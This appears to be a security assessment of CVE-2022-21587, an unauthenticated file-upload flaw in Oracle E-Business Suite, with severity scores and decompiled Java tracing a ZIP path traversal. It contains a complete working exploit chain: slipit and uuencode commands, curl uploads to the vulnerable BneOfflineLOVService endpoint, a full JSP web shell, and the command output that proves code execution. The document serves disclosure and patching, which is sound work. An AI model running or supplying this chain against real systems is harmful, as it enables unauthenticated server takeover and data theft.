9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.966 High
EPSS
Percentile
99.5%
Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Recent assessments:
sfewer-r7 at February 08, 2023 5:50pm UTC reported:
Oracle E-Business Suite (EBS) is a packaged collection of enterprise applications for a wide variety of tasks such as customer relationship management (CRM), enterprise resource planning (ERP) or human capital management (HCM).
In October 2022, Oracle published a Critical Patch Update Advisory to remediate several issues across its products, including CVE-2022-21587, an arbitrary file upload vulnerability rated 9.8 on the CVSS v3 risk metric which affects Oracle Web Applications Desktop Integrator as shipped with Oracle EBS versions 12.2.3 through to 12.2.11.
CVE-2022-21587 can lead to unauthenticated remote code execution. On January 16 2023, Viettel Security published an analysis of the issue, detailing the root cause and a method of leveraging the vulnerability to gain code execution via a Perl payload. An exploit based on the Viettel Security analysis technique was published on GitHub by βHMsβ on 6 February 2023. Oracle have credited βl1k3beefβ as the original discoverer of the vulnerability.
Our analysis reveals it is also possible to leverage a Java Server Page (JSP) based payload during exploitation in order to gain arbitrary code execution.
Oracle EBS applications are deployed as enterprise Java applications running on a WebLogic server instance, which by default will listen for HTTP connections on TCP port 8000. The oacore
application exposes several endpoints as configured through the file /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
, as shown below. Of interest are the endpoints that are serviced by classes inheriting from the BneAbstractXMLServlet
servlet, specifically the /OA_HTML/BneViewerXMLService
, /OA_HTML/BneDownloadService
, /OA_HTML/BneOfflineLOVService
, and /OA_HTML/BneUploaderService
endpoints. While the publicly available exploit targets the /OA_HTML/BneUploaderService
endpoint, all four endpoints are vulnerable to the same issue.
<servlet>
<servlet-name>BneViewerXMLService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.document.BneViewerXMLService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneViewerXMLService</servlet-name>
<url-pattern>/BneViewerXMLService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneDownloadService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.download.BneDownloadService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneDownloadService</servlet-name>
<url-pattern>/BneDownloadService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneOfflineLOVService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.download.BneOfflineLOVService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneOfflineLOVService</servlet-name>
<url-pattern>/BneOfflineLOVService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneUploaderService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.upload.BneUploaderService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneUploaderService</servlet-name>
<url-pattern>/BneUploaderService</url-pattern>
</servlet-mapping>
We can examine how a HTTP POST request to one of the above endpoints is handled by the BneAbstractXMLServlet
servlet via the doRequest
method below. If the request contains multipart form data [1] a HTTP request parameter bne:uueupload
is checked to see if it contains the value true
[2], if found the multipart request will have a suffix of .uue
associated with its files [3] before the multipart request data is processed further via the method doUpload
[4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneAbstractXMLServlet.class
public String getMultipartFileNameSuffix(boolean paramBoolean) {
if (paramBoolean)
return ".uue"; // <--- [3]
return ".xml";
}
public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
doRequest(paramHttpServletRequest, paramHttpServletResponse);
}
public void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
BneSitePropertyManager bneSitePropertyManager = BneSitePropertyManager.getInstance();
try {
BneOracleWebAppsContext bneOracleWebAppsContext;
BneContext.getLogInstance().log(7, "Enter BneAbstractXMLServlet.doRequest()");
boolean bool1 = allowGuestSession();
boolean bool2 = allowBneLogin();
boolean bool3 = includeMessagesElement();
boolean bool4 = disableBneWebAppsContextRelease();
BneWebAppsContext bneWebAppsContext = null;
BneBaseBajaContext bneBaseBajaContext = null;
PageEvent pageEvent = null;
BneXMLPrintWriter bneXMLPrintWriter = null;
BneResourceString.setLangOnThread(paramHttpServletRequest);
try {
bneWebAppsContext = BneAbstractWebAppsContext.getContext(paramHttpServletRequest, paramHttpServletResponse);
BneResourceString.setLangOnThread(paramHttpServletRequest, bneWebAppsContext.getLanguage());
bneBaseBajaContext = new BneBaseBajaContext(this, paramHttpServletRequest, paramHttpServletResponse);
BneServletUtils.setRequestEncoding((BneBajaContext)bneBaseBajaContext);
if (BneSecurity.isBneDisabled(bneWebAppsContext)) {
if (bneXMLPrintWriter == null)
bneXMLPrintWriter = new BneXMLPrintWriter(bneWebAppsContext, paramHttpServletRequest, paramHttpServletResponse);
outputErrorDocument(new BneErrorMessage(BneResourceString.getMlsString("GLB_ER_NO_ACCESS"), null, null, "BNE-020003"), (PrintWriter)bneXMLPrintWriter, bool3);
bool4 = false;
return;
}
printServletHAP(paramHttpServletRequest);
if ("post".equalsIgnoreCase(paramHttpServletRequest.getMethod()) && MultipartFormHandler.isMultipartRequest((ServletRequest)paramHttpServletRequest)) { // <--- [1]
BneContext.getLogInstance().log(7, "BneAbstractXMLServlet.doRequest(), MultipartFileDirectoryName = " + getMultipartFileDirectoryName() + " prefix = " + getMultipartFileNamePrefix());
BneMultipartRequest bneMultipartRequest = new BneMultipartRequest(paramHttpServletRequest, getMultipartFileDirectoryName());
bneMultipartRequest.setFilePrefix(getMultipartFileNamePrefix());
String str = paramHttpServletRequest.getParameter("bne:uueupload");
if (str != null && str.length() > 0 && str.equalsIgnoreCase("TRUE")) { // <--- [2]
bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(true));
} else {
bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(false));
}
bneMultipartRequest.doUpload(); // <--- [4]
The doUpload
method will iterate over every item in the multipart request [1] and call the doUploadFile
method to handle the upload of that specific item [2].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class
public void doUpload() throws IOException {
this._logger.log(7, "BneMultipartRequest.doUpload(): Start");
String str = this._request.getQueryString();
if (str != null) {
Hashtable hashtable = HttpUtils.parseQueryString(str);
Enumeration<String> enumeration = hashtable.keys();
while (enumeration.hasMoreElements()) {
String str1 = enumeration.nextElement();
put(str1, hashtable.get(str1));
}
}
this._logger.log(7, "BneMultipartRequest.doUpload(): queryString " + str);
this._logger.log(7, "BneMultipartRequest.doUpload(): Content-Type " + this._request.getContentType() + " content-length: " + this._request.getContentLength());
MultipartFormHandler multipartFormHandler = new MultipartFormHandler((ServletRequest)this._request);
MultipartFormItem multipartFormItem;
while ((multipartFormItem = multipartFormHandler.getNextPart()) != null) { // <--- [1]
String str1 = multipartFormItem.getName();
String str2 = null;
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getName is: " + str1);
if (str1.equals("uploadfilename"))
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getFilename is: " + multipartFormItem.getFilename());
if (multipartFormItem.getFilename() == null) {
str2 = multipartFormItem.getValue();
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getValue() is: " + str2);
} else if (multipartFormItem.getFilename().length() > 0) {
if (this.m_validMultipartParameterNames != null && !this.m_validMultipartParameterNames.containsKey(str1)) {
this._logger.log(4, "BneMultipartRequest.doUpload(): Unknown Multipart file item ignored: " + str1);
continue;
}
this._logger.log(7, "BneMultipartRequest.doUpload(): going to doUploadFile of item ");
if (multipartFormItem.getFilename().endsWith(".xlsx"))
setFileSuffix(".xlsx");
str2 = doUploadFile(multipartFormItem); // <--- [2]
The doUploadFile
method will write the multipart file item to a temporary file [1] so that it can be processed. If the temporary file name contains the string uue
, it will be handled as a special case. We can note that as mentioned earlier, by passing a HTTP request parameter of bne:uueupload
we can force a suffix of .uue
to be appended to the temporary file so as to satisfy this check [2]. The file is expected to be encoded with the binary to text encoding mechanism called uuencode, after decoding the text file back into a binary file via the doDecode
method [3], the resulting binary file is expected to be a ZIP archive which is then processed via the method doUnZip
[4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class
private String doUploadFile(MultipartFormItem paramMultipartFormItem) throws IOException {
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Start");
File file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
while (file.exists())
file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Content Type is: " + paramMultipartFormItem.getContentType());
this._logger.log(7, "BneMultipartRequest.doUploadFile(): File Name in item is: " + paramMultipartFormItem.getFilename());
String str = file.toString();
FileOutputStream fileOutputStream = new FileOutputStream(str);
this._logger.log(7, "BneMultipartRequest.doUploadFile(): file location is: " + str);
paramMultipartFormItem.writeFile(fileOutputStream); // <--- [1]
fileOutputStream.flush();
fileOutputStream.close();
if (file.getName().contains("uue")) { // <--- [2]
BneDecoder bneDecoder = new BneDecoder(new FileInputStream(file));
String str1 = bneDecoder.doDecode(); // <--- [3]
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Zip file is: " + str1);
BneUnZip bneUnZip = new BneUnZip();
String str2 = bneUnZip.doUnZip(str1); // <--- [4]
The doUnZip
method is vulnerable to a path traversal issue which allows an attacker to write the contents of a ZIP file entry to an arbitrary location on the target system. First, the value of the BNE_UPLOAD_STAGING_DIRECTORY
application property is retrieved [1]. This is the path where UUE decoded files are stored during doDecode
above, and where the ZIP file entries are expected to be extracted to. By default this location is /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload
. The entries in the ZIP file are iterated over [2] and for each entry in the ZIP file, a path is constructed to extract the entry into. This path is a concatenation of the staging directory and the current entries name [3]. If the entries name contains double dot path specifiers ../
then the contents of the entry can be written to a location outside of the staging directory [4]. For example if a ZIP file contains an entry with the name ../../../../../foo.hax
then the entry will be extracted to the location /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload/../../../../../foo.hax
which has a canonical form of /u01/install/APPS/fs1/foo.hax
.
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/utilities/BneUnZip.class
public String doUnZip(String paramString) throws IOException {
String str1 = new String("");
String str2 = new String("");
BneContext.getLogInstance().log(7, "BneUnZip.doUpZip Enter fileName: " + paramString);
str1 = BneSitePropertyManager.getInstance().getProperty("BNE_UPLOAD_STAGING_DIRECTORY"); // <--- [1]
try {
BufferedOutputStream bufferedOutputStream = null;
FileInputStream fileInputStream = new FileInputStream(paramString);
ZipInputStream zipInputStream = new ZipInputStream(new BufferedInputStream(fileInputStream));
ZipEntry zipEntry;
while ((zipEntry = zipInputStream.getNextEntry()) != null) { // <--- [2]
byte[] arrayOfByte = new byte[2048];
str2 = str1 + System.getProperty("file.separator") + zipEntry.getName(); // <--- [3]
FileOutputStream fileOutputStream = new FileOutputStream(str2);
BneContext.getLogInstance().log(7, "BneUnZip.doUpZip entry.getName() " + zipEntry.getName());
bufferedOutputStream = new BufferedOutputStream(fileOutputStream, 2048);
int i;
while ((i = zipInputStream.read(arrayOfByte, 0, 2048)) != -1) {
bufferedOutputStream.write(arrayOfByte, 0, i); // <--- [4]
We can demonstrate the ability to upload an arbitrary file with a few commands, first we will create an arbitrary file to upload:
$ echo hax > foo.hax
We can then use the slipit tool to generate a ZIP file with an entry whose name contains several double dot path specifiers. We will choose 5 double dot specifiers in order to traverse from the path /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload
to the path /u01/install/APPS/fs1/
where we want to write our file.
$ slipit --overwrite --separator '/' --depth 5 foo.zip foo.hax
$ slipit foo.zip
File Name Modified Size
../../../../../foo.hax 2023-02-08 10:42:16 4
We then uuencode the ZIP file.
$ uuencode foo.zip foo.zip > foo.uue
$ cat foo.uue
begin 777 foo.zip
M4$L#!!0``````$A52%8'N_"1!`````0````6````+BXO+BXO+BXO+BXO+BXO
M9F]O+FAA>&AA>`I02P$"%`,4``````!(54A6![OPD00````$````%@``````
M````````_X$`````+BXO+BXO+BXO+BXO+BXO9F]O+FAA>%!+!08``````0`!
+`$0````X````````
`
end
Before finally issuing a POST request to one of the four vulnerable endpoints.
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F [email protected]
If we SSH into the Oracle EBS appliance we can now observe the file foo.hax
has been uploaded to a location we control.
[oracle@apps scripts]$ ls -al /u01/install/APPS/fs1
total 12
drwxr-xr-x. 5 oracle oinstall 64 Feb 8 05:45 .
drwxr-xr-x. 10 oracle oinstall 4096 Dec 4 2020 ..
drwxr-xr-x. 5 oracle oinstall 44 Nov 22 2020 EBSapps
drwxr-x---. 11 oracle oinstall 4096 Nov 22 2020 FMW_Home
-rw-r--r--. 1 oracle oinstall 4 Feb 8 05:45 foo.hax
drwxr-xr-x. 3 oracle oinstall 18 Nov 18 2020 inst
[oracle@apps scripts]$ cat /u01/install/APPS/fs1/foo.hax
hax
To demonstrate arbitrary code execution Viettel Security demonstrated how a Perl web shell may be uploaded to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/common/scripts/txkFNDWRR.pl
. An attacker may then pass arbitrary commands to this web shell by issuing requests to the /OA_CGI/FNDWRR.exe
endpoint which will in turn execute the attackerβs Perl web shell script. Viettel notes that whitelisting is in place to prevent arbitrary Java Server Pages (JSP) being uploaded, however our analysis has shown it is still possible to upload arbitrary JSP, such as a JSP web shell or a more advanced JSP payload, by targeting a location in the Oracle EBS WebLogic forms module.
First we create the basic JSP web shell we want to upload.
$ cat <<EOT >> hax.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String line = dis.readLine();
while(line != null) {
out.println(line);
line = dis.readLine();
}
}
%>
EOT
We then add this JSP file to a ZIP archive using slipit
to leverage the path traversal issue. We will write our JSP web shell to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/hax.jsp
.
$ slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/applications/forms/forms/' hax.zip hax.jsp
We then uuencode the ZIP archive.
$ uuencode hax.zip hax.zip > hax.uue
We leverage the vulnerability to upload our JSP web shell.
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F [email protected]
Before finally leveraging the JSP web shell to execute an arbitrary command. We can see we now have code execution as the user oracle
.
$ curl http://192.168.86.37:8000/forms/hax.jsp?cmd=id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
As an official patch for this issue is available from Oracle, we recommend all affected Oracle EBS users should apply the October 2022 patch.
Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.966 High
EPSS
Percentile
99.5%